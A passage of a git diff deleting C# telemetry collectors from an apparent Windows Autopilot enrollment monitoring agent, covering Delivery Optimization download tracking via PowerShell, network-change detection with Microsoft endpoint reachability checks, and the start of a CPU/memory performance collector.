long _lastSnapshotFingerprint; - - public DeliveryOptimizationCollector( - string sessionId, - string tenantId, - Action emitEvent, - AgentLogger logger, - int intervalSeconds, - Func getPackageStates, - Action onDoTelemetryReceived, - string logDirectory) - : base(sessionId, tenantId, emitEvent, logger, intervalSeconds) - { - _getPackageStates = getPackageStates ?? throw new ArgumentNullException(nameof(getPackageStates)); - _onDoTelemetryReceived = onDoTelemetryReceived; - _logFilePath = Path.Combine(logDirectory, LogFileName); - } - - /// Start dormant — timer does not fire until WakeUp() is called. - protected override TimeSpan GetInitialDelay() => Timeout.InfiniteTimeSpan; - - protected override void OnBeforeStart() - { - EnsureRunspace(); - } - - protected override void OnAfterStop() - { - DisposeRunspace(); - } - - /// - /// Wakes the collector from dormant state. Called by MonitoringService when - /// ImeLogTracker detects an app entering the Downloading state. - /// Safe to call multiple times / from any thread. - /// - public void WakeUp() - { - if (_permanentlyDisabled || !_dormant) return; - _dormant = false; - Logger.Info("[DeliveryOptimizationCollector] Waking up — download activity detected"); - ResumeTimer(); - } - - protected override void Collect() - { - if (_permanentlyDisabled || _dormant) return; - - // Concurrency guard: Runspace is not thread-safe. Skip if previous poll is still running. - if (Interlocked.CompareExchange(ref _collecting, 1, 0) != 0) - { - Logger.Debug("[DeliveryOptimizationCollector] Skipping poll — previous invocation still running"); - return; - } - try - { - CollectCore(); - } - finally - { - Interlocked.Exchange(ref _collecting, 0); - } - } - - private void CollectCore() - { - - // Guard: check if there's still work to do - var packageStates = _getPackageStates(); - if (packageStates == null || packageStates.Count == 0) return; - - var hasActiveDownloads = false; - var hasPendingEnrichment = false; - for (int i = 0; i < packageStates.Count; i++) - { - var p = packageStates[i]; - if (p.InstallationState == AppInstallationState.Downloading || - p.InstallationState == AppInstallationState.Installing) - hasActiveDownloads = true; - - if (!p.HasDoTelemetry && !_enrichedAppIds.Contains(p.Id) && - p.DownloadingOrInstallingSeen && - (p.InstallationState == AppInstallationState.Installed || - p.InstallationState == AppInstallationState.Error)) - hasPendingEnrichment = true; - } - - if (!hasActiveDownloads && !hasPendingEnrichment) - { - Logger.Info("[DeliveryOptimizationCollector] Going dormant — no active downloads or pending enrichment"); - _dormant = true; - PauseTimer(); - return; - } - - // Invoke PowerShell via persistent Runspace - var results = InvokeDoStatus(); - if (results == null) return; - - _consecutiveErrors = 0; - - // Process results: emit progress events and match completed downloads - ProcessResults(results, packageStates); - } - - // ----------------------------------------------------------------------- - // PowerShell Runspace management - // ----------------------------------------------------------------------- - - private void EnsureRunspace() - { - if (_runspace != null && _runspace.RunspaceStateInfo.State == RunspaceState.Opened) - return; - - DisposeRunspace(); - - try - { - _runspace = RunspaceFactory.CreateRunspace(); - _runspace.Open(); - Logger.Info("[DeliveryOptimizationCollector] PowerShell Runspace opened"); - } - catch (Exception ex) - { - Logger.Warning($"[DeliveryOptimizationCollector] Failed to open Runspace: {ex.Message}"); - _runspace = null; - } - } - - private void DisposeRunspace() - { - if (_runspace == null) return; - try - { - _runspace.Close(); - _runspace.Dispose(); - } - catch { /* best effort */ } - _runspace = null; - } - - /// - /// Invokes Get-DeliveryOptimizationStatus in the persistent Runspace. - /// Returns a list of PSObject results, or null on error. - /// Self-heals: recreates the Runspace on failure. - /// - private List InvokeDoStatus() - { - EnsureRunspace(); - if (_runspace == null) - { - HandleError("Runspace not available"); - return null; - } - - try - { - using (var ps = PowerShell.Create()) - { - ps.Runspace = _runspace; - ps.AddCommand("Get-DeliveryOptimizationStatus"); - - // Invoke with timeout protection - var asyncResult = ps.BeginInvoke(); - if (!asyncResult.AsyncWaitHandle.WaitOne(InvokeTimeoutMs)) - { - ps.Stop(); - Logger.Warning("[DeliveryOptimizationCollector] PS invoke timed out after 5s, stopping"); - HandleError("timeout"); - return null; - } - - var results = new List(ps.EndInvoke(asyncResult)); - - // Check for errors in the PS error stream - if (ps.HadErrors && ps.Streams.Error.Count > 0) - { - var firstError = ps.Streams.Error[0].ToString(); - if (firstError.Contains("is not recognized as the name of a cmdlet") || - firstError.Contains("CommandNotFoundException")) - { - Logger.Warning("[DeliveryOptimizationCollector] Get-DeliveryOptimizationStatus not available, disabling permanently"); - _permanentlyDisabled = true; - return null; - } - Logger.Debug($"[DeliveryOptimizationCollector] PS error stream: {firstError}"); - } - - return results; - } - } - catch (PSInvalidOperationException ex) - { - Logger.Warning($"[DeliveryOptimizationCollector] Runspace error, self-healing: {ex.Message}"); - DisposeRunspace(); - HandleError(ex.Message); - return null; - } - catch (RuntimeException ex) - { - // Catches command-not-found and other PS runtime errors - if (ex.ErrorRecord?.FullyQualifiedErrorId?.Contains("CommandNotFoundException") == true) - { - Logger.Warning("[DeliveryOptimizationCollector] Get-DeliveryOptimizationStatus not available, disabling permanently"); - _permanentlyDisabled = true; - return null; - } - Logger.Warning($"[DeliveryOptimizationCollector] PS runtime error: {ex.Message}"); - HandleError(ex.Message); - return null; - } - catch (Exception ex) - { - Logger.Warning($"[DeliveryOptimizationCollector] Invoke failed: {ex.Message}"); - DisposeRunspace(); - HandleError(ex.Message); - return null; - } - } - - // ----------------------------------------------------------------------- - // Result processing: progress events + final DO telemetry - // ----------------------------------------------------------------------- - - private void ProcessResults(List results, AppPackageStateList packageStates) - { - if (results.Count == 0) - { - Logger.Verbose("[DeliveryOptimizationCollector] No DO entries returned"); - return; - } - - int progressCount = 0; - int matchCount = 0; - - // Build JSONL snapshot for log (only if fingerprint changes) - var logEntries = new JArray(); - - foreach (var result in results) - { - var fileId = GetPropString(result, "FileId"); - if (string.IsNullOrEmpty(fileId)) continue; - - long fileSize = GetPropLong(result, "FileSize"); - long totalBytes = GetPropLong(result, "TotalBytesDownloaded"); - long bytesFromPeers = GetPropLong(result, "BytesFromPeers"); - int peerCachingPct = GetPropInt(result, "PercentPeerCaching"); - long bytesLanPeers = GetPropLong(result, "BytesFromLanPeers"); - long bytesGroupPeers = GetPropLong(result, "BytesFromGroupPeers"); - long bytesInternetPeers = GetPropLong(result, "BytesFromInternetPeers"); - int downloadMode = GetPropInt(result, "DownloadMode", -1); - long bytesFromHttp = GetPropLong(result, "BytesFromHttp"); - long bytesFromCacheServer = GetPropLong(result, "BytesFromCacheServer"); - var downloadDuration = GetPropTimeSpan(result, "DownloadDuration"); - var sourceUrl = GetPropString(result, "SourceURL"); - - // Build log entry for JSONL - logEntries.Add(new JObject - { - ["FileId"] = fileId, - ["FileSize"] = fileSize, - ["TotalBytesDownloaded"] = totalBytes, - ["PercentPeerCaching"] = peerCachingPct, - ["BytesFromPeers"] = bytesFromPeers, - ["BytesFromHttp"] = bytesFromHttp, - ["DownloadMode"] = downloadMode, - ["SourceURL"] = sourceUrl, - ["BytesFromCacheServer"] = bytesFromCacheServer - }); - - // Try to match to an IME-tracked app - var appId = ImeLogTracker.ExtractAppIdFromDoFileId(fileId); - if (string.IsNullOrEmpty(appId)) continue; - - var pkg = packageStates.GetPackage(appId); - if (pkg == null) continue; - - // --- Live download_progress (every poll where bytes changed) --- - long lastBytes; - _lastBytesPerApp.TryGetValue(appId, out lastBytes); - - if (totalBytes != lastBytes) - { - _lastBytesPerApp[appId] = totalBytes; - progressCount++; - - int percentComplete = fileSize > 0 ? (int)((totalBytes * 100) / fileSize) : 0; - - EmitEvent(new EnrollmentEvent - { - SessionId = SessionId, - TenantId = TenantId, - EventType = "download_progress", - Severity = EventSeverity.Debug, - Source = "DeliveryOptimizationCollector", - Phase = EnrollmentPhase.Unknown, - Message = $"{pkg.Name ?? appId}: {percentComplete}% ({totalBytes}/{fileSize}) peers={peerCachingPct}% mode={downloadMode}", - Data = new Dictionary - { - ["appId"] = appId, - ["appName"] = pkg.Name, - // UI-compatible fields (DownloadProgress.tsx reads these) - ["bytesDownloaded"] = totalBytes, - ["bytesTotal"] = fileSize, - ["progressPercent"] = percentComplete, - // DO-specific fields - ["doFileSize"] = fileSize, - ["doTotalBytesDownloaded"] = totalBytes, - ["doPercentComplete"] = percentComplete, - ["doBytesFromPeers"] = bytesFromPeers, - ["doBytesFromHttp"] = bytesFromHttp, - ["doPercentPeerCaching"] = peerCachingPct, - ["doDownloadMode"] = downloadMode, - ["doBytesFromCacheServer"] = bytesFromCacheServer, - ["doSource"] = "os_cmdlet" - }, - ImmediateUpload = true - }); - } - - // --- Final DO telemetry (once per app when download is complete) --- - if (!pkg.HasDoTelemetry && !_enrichedAppIds.Contains(appId) && - totalBytes >= fileSize && fileSize > 0) - { - var durationStr = downloadDuration?.ToString(@"hh\:mm\:ss\.fff"); - - pkg.UpdateDoTelemetry(fileSize, totalBytes, bytesFromPeers, peerCachingPct, - bytesLanPeers, bytesGroupPeers, bytesInternetPeers, - downloadMode, durationStr, bytesFromHttp); - - _enrichedAppIds.Add(appId); - matchCount++; - - Logger.Info($"[DeliveryOptimizationCollector] DO matched: {pkg.Name ?? appId} — " + - $"size={fileSize}, peers={bytesFromPeers} ({peerCachingPct}%), " + - $"http={bytesFromHttp}, mode={downloadMode}, duration={durationStr}"); - - // Fire callback → EnrollmentTracker emits do_telemetry + download_progress events - _onDoTelemetryReceived?.Invoke(pkg); - } - } - - // Write JSONL log only when overall state changed - var fingerprint = ComputeFingerprint(logEntries); - if (fingerprint != _lastSnapshotFingerprint) - { - _lastSnapshotFingerprint = fingerprint; - WriteToLogFile(logEntries); - } - - Logger.Verbose($"[DeliveryOptimizationCollector] Poll: {results.Count} entries, " + - $"{progressCount} progress updates, {matchCount} new matches ({_enrichedAppIds.Count} total enriched)"); - } - - // ----------------------------------------------------------------------- - // PSObject property helpers (safe extraction, no exceptions on missing props) - // ----------------------------------------------------------------------- - - private static string GetPropString(PSObject obj, string name) - { - return obj.Properties[name]?.Value?.ToString(); - } - - private static long GetPropLong(PSObject obj, string name, long defaultValue = 0) - { - var val = obj.Properties[name]?.Value; - if (val == null) return defaultValue; - try { return Convert.ToInt64(val); } - catch { return defaultValue; } - } - - private static int GetPropInt(PSObject obj, string name, int defaultValue = 0) - { - var val = obj.Properties[name]?.Value; - if (val == null) return defaultValue; - try { return Convert.ToInt32(val); } - catch { return defaultValue; } - } - - private static TimeSpan? GetPropTimeSpan(PSObject obj, string name) - { - var val = obj.Properties[name]?.Value; - if (val is TimeSpan ts) return ts; - return null; - } - - // ----------------------------------------------------------------------- - // Helpers - // ----------------------------------------------------------------------- - - private void HandleError(string error) - { - _consecutiveErrors++; - - if (_consecutiveErrors >= 5) - { - Logger.Warning($"[DeliveryOptimizationCollector] {_consecutiveErrors} consecutive errors, disabling permanently. Last: {error}"); - _permanentlyDisabled = true; - return; - } - - Logger.Warning($"[DeliveryOptimizationCollector] Error ({_consecutiveErrors}/5): {error}"); - } - - private static long ComputeFingerprint(JArray entries) - { - long sum = entries.Count; - foreach (var e in entries) - { - sum += e["TotalBytesDownloaded"]?.Value() ?? 0; - // Include FileId hash to detect entry additions/removals - var fileId = e["FileId"]?.ToString(); - if (fileId != null) - sum += fileId.GetHashCode(); - } - return sum; - } - - private void WriteToLogFile(JArray entries) - { - try - { - var snapshot = new JObject - { - ["timestamp"] = DateTime.UtcNow.ToString("o"), - ["entryCount"] = entries.Count, - ["entries"] = entries - }; - - var line = snapshot.ToString(Formatting.None) + Environment.NewLine; - File.AppendAllText(_logFilePath, line, Encoding.UTF8); - } - catch (Exception ex) - { - Logger.Warning($"[DeliveryOptimizationCollector] Failed to write DO log: {ex.Message}"); - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Periodic/NetworkChangeDetector.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Periodic/NetworkChangeDetector.cs deleted file mode 100644 index e0079c3f..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Periodic/NetworkChangeDetector.cs +++ /dev/null @@ -1,598 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Linq; -using System.Net.Http; -using System.Net.NetworkInformation; -using System.Net.Sockets; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Security; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Periodic -{ - /// - /// Detects network changes (SSID switches, wired↔wireless, IP changes) during provisioning - /// and runs MDM endpoint connectivity checks after each change. - /// Always-on collector — fires network_state_change and network_connectivity_check events. - /// - public class NetworkChangeDetector : IDisposable - { - private readonly string _sessionId; - private readonly string _tenantId; - private readonly Action _onEventCollected; - private readonly AgentLogger _logger; - private readonly string _apiBaseUrl; - - private NetworkStateSnapshot _lastKnownState; - private Timer _debounceTimer; - private HttpClient _connectivityCheckClient; - private readonly object _stateLock = new object(); - private bool _disposed; - - private const int DebounceDelayMs = 3000; - private const int ConnectivityCheckDelayMs = 5000; - private const int ConnectivityCheckTimeoutMs = 8000; - private const int WifiCollectTimeoutMs = 3000; - private const string Source = "NetworkChangeDetector"; - - /// - /// Well-known MDM/Entra endpoints that must be reachable for enrollment to succeed. - /// - private static readonly (string Name, string Url)[] MdmEndpoints = - { - ("Entra ID", "https://login.microsoftonline.com"), - ("Device Registration", "https://enterpriseregistration.windows.net"), - ("Intune Portal", "https://portal.manage.microsoft.com"), - ("Microsoft Graph", "https://graph.microsoft.com"), - }; - - public NetworkChangeDetector( - string sessionId, - string tenantId, - Action onEventCollected, - AgentLogger logger, - string apiBaseUrl = null) - { - _sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId)); - _tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId)); - _onEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected)); - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - _apiBaseUrl = apiBaseUrl; - } - - public void Start() - { - _logger.Info("NetworkChangeDetector: starting (monitoring network changes)"); - - _connectivityCheckClient = new HttpClient - { - Timeout = TimeSpan.FromMilliseconds(ConnectivityCheckTimeoutMs) - }; - - // Capture initial network state as baseline - _lastKnownState = CaptureCurrentState(); - _logger.Info($"NetworkChangeDetector: initial state — {FormatSnapshotSummary(_lastKnownState)}"); - - NetworkChange.NetworkAddressChanged += OnNetworkAddressChanged; - } - - public void Stop() - { - NetworkChange.NetworkAddressChanged -= OnNetworkAddressChanged; - - lock (_stateLock) - { - _debounceTimer?.Dispose(); - _debounceTimer = null; - } - - _connectivityCheckClient?.Dispose(); - _connectivityCheckClient = null; - - _logger.Info("NetworkChangeDetector: stopped"); - } - - public void Dispose() - { - if (_disposed) return; - _disposed = true; - Stop(); - } - - // ------------------------------------------------------------------- - // Event handling & debounce - // ------------------------------------------------------------------- - - private void OnNetworkAddressChanged(object sender, EventArgs e) - { - if (_disposed) return; - - lock (_stateLock) - { - // Reset debounce timer — collapses rapid OS events into one logical change - _debounceTimer?.Dispose(); - _debounceTimer = new Timer( - OnDebounceElapsed, - null, - DebounceDelayMs, - Timeout.Infinite); - } - } - - private void OnDebounceElapsed(object state) - { - if (_disposed) return; - - Task.Run(() => - { - try - { - ProcessNetworkChange(); - } - catch (Exception ex) - { - _logger.Warning($"NetworkChangeDetector: error processing network change: {ex.Message}"); - } - }); - } - - // ------------------------------------------------------------------- - // Core logic - // ------------------------------------------------------------------- - - private void ProcessNetworkChange() - { - if (_disposed) return; - - var newState = CaptureCurrentState(); - - NetworkStateSnapshot previousState; - lock (_stateLock) - { - previousState = _lastKnownState; - _lastKnownState = newState; - } - - // Suppress events when network hasn't actually changed (DHCP renewals, OS chatter) - if (previousState != null && previousState.IsSameNetwork(newState)) - { - _logger.Debug("NetworkChangeDetector: network address changed but same logical network — suppressing"); - return; - } - - _logger.Info($"NetworkChangeDetector: network change detected — {FormatSnapshotSummary(previousState)} → {FormatSnapshotSummary(newState)}"); - - // Emit network_state_change event - var changeType = ClassifyChange(previousState, newState); - var message = BuildChangeMessage(previousState, newState); - - var data = new Dictionary - { - // Before state - { "before_connectionType", previousState?.ConnectionType ?? "None" }, - { "before_adapterName", previousState?.AdapterName ?? "None" }, - { "before_ipAddress", previousState?.IpAddress ?? "None" }, - { "before_gateway", previousState?.Gateway ?? "None" }, - { "before_wifiSsid", previousState?.WifiSsid ?? "n/a" }, - { "before_linkSpeedMbps", previousState?.LinkSpeedMbps ?? 0 }, - - // After state - { "after_connectionType", newState.ConnectionType ?? "None" }, - { "after_adapterName", newState.AdapterName ?? "None" }, - { "after_ipAddress", newState.IpAddress ?? "None" }, - { "after_gateway", newState.Gateway ?? "None" }, - { "after_wifiSsid", newState.WifiSsid ?? "n/a" }, - { "after_linkSpeedMbps", newState.LinkSpeedMbps }, - - // Change classification - { "changeType", changeType }, - { "hadNetwork", previousState?.HasNetwork ?? false }, - { "hasNetwork", newState.HasNetwork } - }; - - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = Constants.EventTypes.NetworkStateChange, - Severity = EventSeverity.Warning, - Source = Source, - Phase = EnrollmentPhase.Unknown, - Message = message, - Data = data - }); - - // Wait for new connection to stabilize, then check MDM endpoint connectivity - try - { - Task.Delay(ConnectivityCheckDelayMs).Wait(); - if (!_disposed) - { - RunConnectivityChecksAsync().Wait(); - } - } - catch (Exception ex) - { - _logger.Debug($"NetworkChangeDetector: connectivity check failed: {ex.Message}"); - } - } - - private async Task RunConnectivityChecksAsync() - { - if (_disposed || _connectivityCheckClient == null) return; - - // Build endpoint list: static MDM endpoints + dynamic backend URL - var endpoints = new List<(string Name, string Url)>(MdmEndpoints); - // Optionally add the Autopilot Monitor API endpoint, but we don't want to cause false alarms if it's down or unreachable, - // since it's not critical for enrollment success and may be available only after certain network changes (e.g. if it's behind a captive portal). - // For now, we can omit it from the critical checks. - // if (!string.IsNullOrEmpty(_apiBaseUrl)) - // { - // endpoints.Add(("Autopilot Monitor API", _apiBaseUrl)); - // } - - // Run all checks in parallel - var tasks = endpoints.Select(ep => CheckEndpointAsync(ep.Name, ep.Url)).ToArray(); - - Dictionary[] results; - try - { - results = await Task.WhenAll(tasks); - } - catch (Exception ex) - { - _logger.Debug($"NetworkChangeDetector: connectivity check tasks failed: {ex.Message}"); - return; - } - - if (_disposed) return; - - var reachableCount = results.Count(r => r.ContainsKey("reachable") && (bool)r["reachable"]); - var totalCount = results.Length; - var allReachable = reachableCount == totalCount; - - _onEventCollected(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = Constants.EventTypes.NetworkConnectivityCheck, - Severity = allReachable ? EventSeverity.Info : EventSeverity.Warning, - Source = Source, - Phase = EnrollmentPhase.Unknown, - Message = $"Connectivity check after network change: {reachableCount}/{totalCount} endpoints reachable", - Data = new Dictionary - { - { "reachableCount", reachableCount }, - { "totalCount", totalCount }, - { "allReachable", allReachable }, - { "checkDelayMs", ConnectivityCheckDelayMs }, - { "timeoutMs", ConnectivityCheckTimeoutMs }, - { "results", results.ToList() } - } - }); - - if (allReachable) - _logger.Info($"NetworkChangeDetector: connectivity check passed ({reachableCount}/{totalCount} reachable)"); - else - _logger.Warning($"NetworkChangeDetector: connectivity check partial — {reachableCount}/{totalCount} endpoints reachable"); - } - - private async Task> CheckEndpointAsync(string name, string url) - { - var sw = Stopwatch.StartNew(); - try - { - // Use GET — any HTTP response (even 401/403) means the network path works - var response = await _connectivityCheckClient.GetAsync(url); - sw.Stop(); - return new Dictionary - { - { "endpoint", name }, - { "url", url }, - { "reachable", true }, - { "httpStatus", (int)response.StatusCode }, - { "latencyMs", sw.ElapsedMilliseconds }, - { "error", (object)null } - }; - } - catch (Exception ex) - { - sw.Stop(); - // Unwrap AggregateException from async - var innerEx = ex is AggregateException agg ? agg.InnerException ?? ex : ex; - return new Dictionary - { - { "endpoint", name }, - { "url", url }, - { "reachable", false }, - { "httpStatus", (object)null }, - { "latencyMs", sw.ElapsedMilliseconds }, - { "error", $"{innerEx.GetType().Name}: {innerEx.Message}" } - }; - } - } - - // ------------------------------------------------------------------- - // State capture - // ------------------------------------------------------------------- - - private NetworkStateSnapshot CaptureCurrentState() - { - try - { - var activeNic = FindActiveNetworkInterface(); - if (activeNic == null) - { - return new NetworkStateSnapshot { HasNetwork = false, CapturedAt = DateTime.UtcNow }; - } - - var isWifi = activeNic.NetworkInterfaceType == NetworkInterfaceType.Wireless80211; - var ipProps = activeNic.GetIPProperties(); - - // First IPv4 unicast address - string ipAddress = null; - foreach (var addr in ipProps.UnicastAddresses) - { - if (addr.Address.AddressFamily == AddressFamily.InterNetwork) - { - ipAddress = addr.Address.ToString(); - break; - } - } - - // First non-0.0.0.0 gateway - string gateway = null; - foreach (var gw in ipProps.GatewayAddresses) - { - if (gw.Address.ToString() != "0.0.0.0") - { - gateway = gw.Address.ToString(); - break; - } - } - - var snapshot = new NetworkStateSnapshot - { - HasNetwork = true, - AdapterName = activeNic.Name, - AdapterDescription = activeNic.Description, - InterfaceType = activeNic.NetworkInterfaceType.ToString(), - ConnectionType = isWifi ? "WiFi" : "Ethernet", - MacAddress = activeNic.GetPhysicalAddress().ToString(), - InterfaceId = activeNic.Id, - LinkSpeedMbps = activeNic.Speed / 1_000_000, - IpAddress = ipAddress, - Gateway = gateway, - CapturedAt = DateTime.UtcNow - }; - - // Collect WiFi SSID synchronously (needed for before/after comparison) - if (isWifi) - { - var wifiInfo = CollectWiFiInfo(); - snapshot.WifiSsid = wifiInfo.ssid; - snapshot.WifiSignalPercent = wifiInfo.signal; - snapshot.WifiRadioType = wifiInfo.radioType; - } - - return snapshot; - } - catch (Exception ex) - { - _logger.Debug($"NetworkChangeDetector: state capture failed: {ex.Message}"); - return new NetworkStateSnapshot { HasNetwork = false, CapturedAt = DateTime.UtcNow }; - } - } - - /// - /// Collects WiFi SSID, signal, and radio type via netsh wlan show interfaces. - /// Synchronous with timeout — needed before emitting the event. - /// - private (string ssid, int? signal, string radioType) CollectWiFiInfo() - { - string ssid = null; - int? signal = null; - string radioType = null; - - try - { - var psi = new ProcessStartInfo - { - FileName = SystemPaths.Netsh, - Arguments = "wlan show interfaces", - UseShellExecute = false, - RedirectStandardOutput = true, - RedirectStandardError = true, - CreateNoWindow = true - }; - - string output; - using (var process = Process.Start(psi)) - { - output = process.StandardOutput.ReadToEnd(); - if (!process.WaitForExit(WifiCollectTimeoutMs)) - { - try { process.Kill(); } catch { } - _logger.Debug("NetworkChangeDetector: netsh timed out"); - return (null, null, null); - } - } - - if (string.IsNullOrEmpty(output)) - return (null, null, null); - - foreach (var line in output.Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries)) - { - var trimmed = line.Trim(); - var colonIndex = trimmed.IndexOf(':'); - if (colonIndex < 0) continue; - - var key = trimmed.Substring(0, colonIndex).Trim(); - var value = trimmed.Substring(colonIndex + 1).Trim(); - - if (key.Equals("SSID", StringComparison.OrdinalIgnoreCase) && - !key.Equals("BSSID", StringComparison.OrdinalIgnoreCase)) - { - ssid = value; - } - else if (key.Equals("Signal", StringComparison.OrdinalIgnoreCase)) - { - if (int.TryParse(value.TrimEnd('%'), out var sig)) - signal = sig; - } - else if (key.Equals("Radio type", StringComparison.OrdinalIgnoreCase)) - { - radioType = value; - } - } - } - catch (Exception ex) - { - _logger.Debug($"NetworkChangeDetector: WiFi info collection failed: {ex.Message}"); - } - - return (ssid, signal, radioType); - } - - // ------------------------------------------------------------------- - // Helpers - // ------------------------------------------------------------------- - - /// - /// Finds the active network interface: Up, not Loopback/Tunnel, has a non-0.0.0.0 gateway. - /// - private static NetworkInterface FindActiveNetworkInterface() - { - try - { - var interfaces = NetworkInterface.GetAllNetworkInterfaces(); - foreach (var nic in interfaces) - { - if (nic.OperationalStatus != OperationalStatus.Up) - continue; - if (nic.NetworkInterfaceType == NetworkInterfaceType.Loopback || - nic.NetworkInterfaceType == NetworkInterfaceType.Tunnel) - continue; - - var ipProps = nic.GetIPProperties(); - foreach (var gw in ipProps.GatewayAddresses) - { - if (gw.Address.ToString() != "0.0.0.0") - return nic; - } - } - } - catch - { - // Caller handles null - } - return null; - } - - private static string BuildChangeMessage(NetworkStateSnapshot before, NetworkStateSnapshot after) - { - var beforeDesc = FormatSnapshotBrief(before); - var afterDesc = FormatSnapshotBrief(after); - - if (before == null || !before.HasNetwork) - { - if (after.HasNetwork) - return $"Network connected: {afterDesc}"; - return "Network state changed (no connectivity)"; - } - - if (!after.HasNetwork) - return $"Network lost (was {beforeDesc})"; - - return $"Network changed: {beforeDesc} \u2192 {afterDesc}"; - } - - private static string FormatSnapshotBrief(NetworkStateSnapshot snapshot) - { - if (snapshot == null || !snapshot.HasNetwork) - return "None"; - - if (snapshot.ConnectionType == "WiFi" && !string.IsNullOrEmpty(snapshot.WifiSsid)) - return $"WiFi '{snapshot.WifiSsid}'"; - - return $"{snapshot.ConnectionType} ({snapshot.IpAddress ?? "no IP"})"; - } - - private static string FormatSnapshotSummary(NetworkStateSnapshot snapshot) - { - if (snapshot == null || !snapshot.HasNetwork) - return "no network"; - - var summary = $"{snapshot.ConnectionType}"; - if (!string.IsNullOrEmpty(snapshot.WifiSsid)) - summary += $" SSID='{snapshot.WifiSsid}'"; - if (!string.IsNullOrEmpty(snapshot.IpAddress)) - summary += $" IP={snapshot.IpAddress}"; - return summary; - } - - private static string ClassifyChange(NetworkStateSnapshot before, NetworkStateSnapshot after) - { - if (before == null || !before.HasNetwork) - return after.HasNetwork ? "network_restored" : "no_change"; - - if (!after.HasNetwork) - return "network_lost"; - - // Both have network — classify the change - if (before.ConnectionType != after.ConnectionType) - return "type_change"; - - if (before.ConnectionType == "WiFi" && after.ConnectionType == "WiFi" && - before.WifiSsid != after.WifiSsid) - return "ssid_change"; - - if (before.InterfaceId != after.InterfaceId) - return "adapter_change"; - - return "ip_change"; - } - - // ------------------------------------------------------------------- - // Inner type: network state snapshot - // ------------------------------------------------------------------- - - private class NetworkStateSnapshot - { - public bool HasNetwork { get; set; } - public string AdapterName { get; set; } - public string AdapterDescription { get; set; } - public string InterfaceType { get; set; } - public string ConnectionType { get; set; } - public string MacAddress { get; set; } - public string InterfaceId { get; set; } - public long LinkSpeedMbps { get; set; } - public string IpAddress { get; set; } - public string Gateway { get; set; } - public string WifiSsid { get; set; } - public int? WifiSignalPercent { get; set; } - public string WifiRadioType { get; set; } - public DateTime CapturedAt { get; set; } - - /// - /// Returns true if both snapshots represent the same logical network connection. - /// Suppresses events for DHCP renewals and other OS chatter. - /// - public bool IsSameNetwork(NetworkStateSnapshot other) - { - if (other == null) return false; - if (HasNetwork != other.HasNetwork) return false; - if (!HasNetwork && !other.HasNetwork) return true; - - // Same adapter + same IP + same SSID = same logical network - return InterfaceId == other.InterfaceId && - IpAddress == other.IpAddress && - WifiSsid == other.WifiSsid; - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Periodic/PerformanceCollector.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Periodic/PerformanceCollector.cs deleted file mode 100644 index c872f944..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Periodic/PerformanceCollector.cs +++ /dev/null @@ -1,290 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Net.NetworkInformation; -using System.Threading; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Interop; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Periodic -{ - /// - /// Collects system performance metrics (CPU, memory, disk) on a configurable interval. - /// Optional collector - toggled on/off via remote config. - /// - public class PerformanceCollector : CollectorBase - { - private PerformanceCounter _cpuCounter; - private PerformanceCounter _diskQueueCounter; - - // Network throughput tracking - private string _activeNicId; - private string _activeNicName; - private long _prevBytesSent; - private long _prevBytesReceived; - private DateTime _prevNetSampleTime; - private bool _networkInitialized; - - public PerformanceCollector(string sessionId, string tenantId, Action onEventCollected, - AgentLogger logger, int intervalSeconds = 60) - : base(sessionId, tenantId, onEventCollected, logger, intervalSeconds) - { - } - - /// Use a 5-second warm-up delay so counters are primed before first read. - protected override TimeSpan GetInitialDelay() => TimeSpan.FromSeconds(5); - - protected override void OnBeforeStart() - { - try - { - _cpuCounter = new PerformanceCounter("Processor", "% Processor Time", "_Total"); - _diskQueueCounter = new PerformanceCounter("PhysicalDisk", "Current Disk Queue Length", "_Total"); - - // Initial read to prime the counters (first reading is always 0) - _cpuCounter.NextValue(); - } - catch (Exception ex) - { - Logger.Warning($"Failed to initialize performance counters: {ex.Message}"); - } - - // Initialize network throughput baseline - try - { - var activeNic = FindActiveNetworkInterface(); - if (activeNic != null) - { - _activeNicId = activeNic.Id; - _activeNicName = activeNic.Description; - var stats = activeNic.GetIPStatistics(); - _prevBytesSent = stats.BytesSent; - _prevBytesReceived = stats.BytesReceived; - _prevNetSampleTime = DateTime.UtcNow; - _networkInitialized = true; - Logger.Debug($"Network throughput tracking initialized on: {_activeNicName}"); - } - else - { - Logger.Debug("No active network interface found for throughput tracking"); - } - } - catch (Exception ex) - { - Logger.Debug($"Failed to initialize network throughput baseline: {ex.Message}"); - } - } - - protected override void OnAfterStop() - { - _cpuCounter?.Dispose(); - _cpuCounter = null; - _diskQueueCounter?.Dispose(); - _diskQueueCounter = null; - } - - protected override void Collect() - { - var data = new Dictionary(); - - // CPU usage - try - { - var cpuPercent = _cpuCounter?.NextValue() ?? 0; - data["cpu_percent"] = Math.Round(cpuPercent, 1); - } - catch (Exception ex) - { - Logger.Debug($"CPU counter read failed: {ex.Message}"); - } - - // Memory info via GlobalMemoryStatusEx (kernel32) - try - { - if (MemoryNativeMethods.TryGetMemoryInfo(out var availBytes, out var totalBytes, out var loadPercent) - && totalBytes > 0) - { - data["memory_available_mb"] = Math.Round(availBytes / 